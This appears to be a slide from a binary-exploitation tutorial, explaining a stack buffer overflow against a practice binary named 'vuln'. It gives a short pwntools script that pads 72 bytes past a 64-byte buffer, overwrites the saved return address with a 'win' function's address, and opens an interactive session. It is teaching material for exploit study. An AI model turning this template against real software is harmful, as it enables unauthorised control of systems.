The Payload = Padding + Target Address
from pwn import *
elf = ELF("./vuln")
win_addr = elf.symbols["win"] # resolve target address
# offset = bytes from start of buf to the saved return address
offset = 72 # buf[64] + saved RBP[8]
payload = b"A" * offset # padding
payload += p64(win_addr) # overwrite saved RET (64-bit)
p = process("./vuln")
p.sendline(payload)
p.interactive()
p64()packs the address as 8 little-endian bytes.offset= distance to the saved return address (found next).
Key Takeaway
payload = padding-to-RET + address-of-target. Everything hinges on getting offset right.